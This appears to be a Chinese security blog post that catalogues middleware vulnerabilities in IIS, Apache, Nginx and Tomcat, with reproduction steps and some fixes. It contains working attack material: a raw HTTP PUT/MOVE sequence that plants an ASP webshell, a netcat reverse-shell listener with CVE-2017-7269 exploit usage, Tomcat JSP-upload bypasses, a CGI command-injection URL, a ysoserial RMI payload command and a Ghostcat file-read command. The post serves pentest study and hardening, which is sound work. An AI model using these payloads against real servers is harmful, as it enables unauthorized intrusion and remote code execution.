中间件漏洞

中间件漏洞

概述

中间件:中间件是提供系统软件和应用软件之间连接的软件,以便软件各部分之间的沟通。

常见的中间件

  • iis
  • apache
  • tomcat
  • nginx
  • jboss
  • weblogic
  • websphere

IIS漏洞

一、PUT上传漏洞
1、漏洞描述

IIS在web扩展中开启了webdav,配置了可以写入的权限。

版本:IIS6.0

2、漏洞复现

在网页目录中使用OPTIONS提交方式,判断是否看可以使用PUT和MOVE方式进行提交请求

(1)使用burp任意抓取报文
(2)修改请求头为OPTIONS
(3)查看返回中是否带有PUT和MOVE请求方式
  • 使用PUT进行提交
PUT /test.txt HTTP/1.1 
Host: upload.moonteam.com 
Content-Length: 25 

<%eval request("cmd")%>
  • 使用MOVE移动文件修改其后缀名
MOVE /test.txt HTTP/1.1 
Host: upload.moonteam.com 
Destination: http://upload.moonteam.com/shell.asp

【注】:这个地方需要有空格

二、IIS6.0解析漏洞
概述

iis6.0版本默认不解析分号(;)后面的内容,相当于截断。

IIS还会将cer cdx asa 解析成asp

1、漏洞复现

通过文件上传

上传的文件名后缀为
*.asp;1.jpg
2、基于文件夹

概述:该版本默认将*.asp/目录下的所有文件当成ASP解析

1.asp/shell.txt   可以将shell.txt当成asp解析
三、IIS短文件名漏洞
四、IIS RCE漏洞(CVE-2017-7269)
1、介绍

在win2003 R2上,IIS6.0上的webDAV服务中的ScStoragePathFormUrl函数中,存在缓冲区溢出。

攻击者利用

if:<http://开头的长标头执行任意代码PROPFIND请求
2、影响范围

win2003 R2 使用IIS6.0,并开启WebDav扩展

3、复现

利用exp

https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269
  • 攻击机开启NC接受反弹shell
nc -lvnp 1234
  • 利用exp攻击
python iisexp 目标ip 目标端口 反弹ip 反弹端口
五、IIS 7文件解析漏洞
1、原理

在IIS 7的版本中,在FAST-CGI运行模式下,在任意文件后加上/.php会以php脚本运行

2、复现

上传图片到允许的目录,在后缀后面加上/.php

http://192.168.0.1/1.jpg/.php
六、HTTP.SYS远程代码执行(ms15-034)
1、介绍

HTTP.SYS是microsoft处理http请求的内核驱动程序。

实质是HTTP.SYS整数溢出漏洞

2、影响范围

IIS 7.5 IIS 8.0 IIS 8.5

3、复现

漏洞探测:

编辑请求头,增加Range: bytes=0-18446744073709551615字段,如果返回416状态码则表示存在此漏洞

使用POC:

https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC

可以利用exp使服务器卡顿

Apache漏洞

  • ​ apache是世界上最流行的web服务器端软件。
  • ​ apache的目录结构
bin:存放常用命令工具,httpd等
cgi-bin:存放linux常用命令,xxx.sh等
error:错误记录
htdoc:网站源码
icons:网站图标
manual:手册
modules:扩展模块
一、未知扩展名解析漏洞
1、漏洞原理

apache默认一个文件可以有多个以点分隔的后缀,当最右边后缀无法识别的时候,则继续向左边识别,直到识别到合法的后缀后就可以解析。

2、条件
  • 使用module模式于php结合的所有版本的apache存在位置扩展名解析漏洞
  • 使用fastcgi模式于php结合的所有版本的apache不存在此漏洞
  • 利用此漏洞必须保证扩展名中至少有一个带有.php,不然会当作普通文本处理
3、复现
http://192.168.0.1/1.php.bak
4、漏洞修复
  • 在httpd.conf中添加语句,禁止文件格式为.php.的访问权限
<FilesMatch ".(php.|php3.|php4.|php5.)"> 
Order Deny,Allow 
Deny from all 
</FilesMatch>
  • 如果需要保留文件名,可以修改程序源代码,替换上传文件名中的“.”为“_”:

    $filename = str_replace(‘.’, ‘_’, $filename);

二、ADDHandler导致的解析漏洞
1、复现

在httpd.conf把注释去掉,后缀存在.php .phtml都会解析成php文件

#AddType application/x-httpd-php .php .phtml
shell.php.bak
2、修复

把上面配置不当的文件前面添加#号注释掉

三、apache目录遍历
1、原理

当客户端访问到一个目录时,Apache服务器将会默认寻找一个index list中的文件,若文 件不存在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。

2、介绍

httpd.conf文件配置不当导致的

3、复现

访问http://192.168.0.1/admin后出现了index of/admin导致可以目录遍历

4、防御

httpd.conf文件中

DocumentRoot "C:\phpStudy\WWW" 
<Directory /> 
    Options +Indexes +FollowSymLinks +ExecCGI     #此处的+号更改为-号就不会出现目录遍历-Indexes
    AllowOverride All 
    Order allow,deny 
    Allow from all 
    Require all granted 
</Directory>

Nginx漏洞

一、文件解析漏洞
1、漏洞描述

该漏洞是由nginx中php配置不当造成的,于nginx本身无关。在php高版本中,引入了security.limit_extensions,使得该漏洞难以利用。

2、漏洞复现
/1.jpg/xx.php  就可以以php脚本执行
3、漏洞分析过程
Nginx的处理程序和FastCGI处理程序不同导致,Nginx拿到URI为/1.jpg/xxx.php后,识别处后缀是.php,认为是php文件,转交给PHP FastCGI处理程序去处理。PHP FastCGI处理程序识别该URI: /1.jpg/xxx.php不存在,按照PHP FastCGI处理程序自己的规则,删去最后的/xxx.php,又看/1.jpg存在,就将/1.jpg当成要执行的文件,就成功解析。
4、修复
  • 将php.ini文件中的cgi.fix_pathinfo的值设置为0
  • php-fpm.conf中的security.limit_extensions后面设置为.php
二、目录遍历漏洞
1、描述

与apache一样,都是由于配置错误导致的目录遍历

2、漏洞原理

在nginx中存在nginx.conf文件,其中参数autoindex开关的设置导致

  • 进入nginx.conf文件
autoindex on;

on 代表开启目录浏览 ,off 代表关闭目录浏览

三、整数溢出漏洞(CVE-2017-7529

直接利用EXP

Tomcat漏洞

tomcat是一个开源且免费的jsp服务器,属于轻量级应用服务器。可以实现javaweb程序的装载,是配置JSP和Java系统必备的一款环境。

目录介绍

webapp:工程发布文件夹。其实每个war包都可以视为 webapp的压缩包。 
META-INF:META-INF 目录用于存放工程自身相关的一些信息,元文件信息,通常由开发工具,环境自动生成。
WEB-INF:Java web应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。 
/WEB-INF/classes:存放程序所需要的所有Java class文件。 
/WEB-INF/lib:存放程序所需要的所有jar文件。 
/WEB-INF/web.xml:web 应用的部署配置文件。它是工程中最重要的配置文件,它描述了servlet和组成应用的其它组件,以及应用初始化参数、安全管理约束等。
一、Tomcat put文件上传漏洞(cve-2017-12615)
1、描述

当tomcat运行在Windows操作系统上,且启用了http put请求方法。(将readonly初始化参数设置为false),攻击者可以构造请求包,上传包含任意代码的JSP文件,造成攻击。

2、漏洞原理

当tomcat的conf下的/web.xml文件添加readonly为false时,导致该漏洞的产生。(需要允许put请求)

3、漏洞复现
  • 更改请求头
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/
  • POST请求写入jsp马
二、Tomcat弱口令和War远程部署
1、漏洞原理

在tomcat8的环境下,进入后台的默认账号密码时tomcat/tomcat,未修改就可以造成未授权访问。

2、漏洞复现
  • 进入tomcat
  • 进入manager APP
  • 弱口令tomcat/tomcat
  • 上传war包
  • 自动解压文件到/shell/shell.jsp
  • 冰蝎连接
3、修复
  • 设置强密码
  • 删除manager app模块
三、Tomcat远程代码执行漏洞(CVE-2019-0232)
1、漏洞描述

由于JRE将命令行参数传递给Windows的方式存在错误,会导致CGI sevlet受到远程代码执行。

2、触发条件
  • 系统为Windows
  • 启用了GCI servlet(默认关闭)
  • 启用了enableCmdLineArguments
3、影响范围
  • Apache Tomcat 9.0.0.M1 to 9.0.17
  • Apache Tomcat 8.5.0 to 8.5.39
  • Apache Tomcat 7.0.0 to 7.0.93
4、漏洞复现
http://192.168.0.1:8080/cgi-bin/hello.bat?&C:\Windows\System32\net user
四、Tomcat反序列化漏洞(cve-2016-8735)
1、漏洞描述
  • tomcat在配置JMX做监控时使用了了JmxRemoteLifecycleListener的方法。
2、漏洞影响版本
  • ApacheTomcat 9.0.0.M1 到9.0.0.M11
  • ApacheTomcat 8.5.0 到8.5.6
  • ApacheTomcat 8.0.0.RC1 到8.0.38
  • ApacheTomcat 7.0.0 到7.0.72
  • ApacheTomcat 6.0.0 到6.0.47
3、漏洞复现
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.0.167 10001 Groovy1 "calc.exe"
五、Tomcat文件包含漏洞(CVE-2020-1938)
1、漏洞描述

Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。

2、影响版本
Apache Tomcat 6 
Tomcat 7系列 <7.0.100 
Tomcat 8系列 < 8.5.51 
Tomcat 9 系列 <9.0.31
3、漏洞复现
https://github.com/xindongzhuaizhuai/CVE-2020-1938
python CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 192.168.0.168
  • 4
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值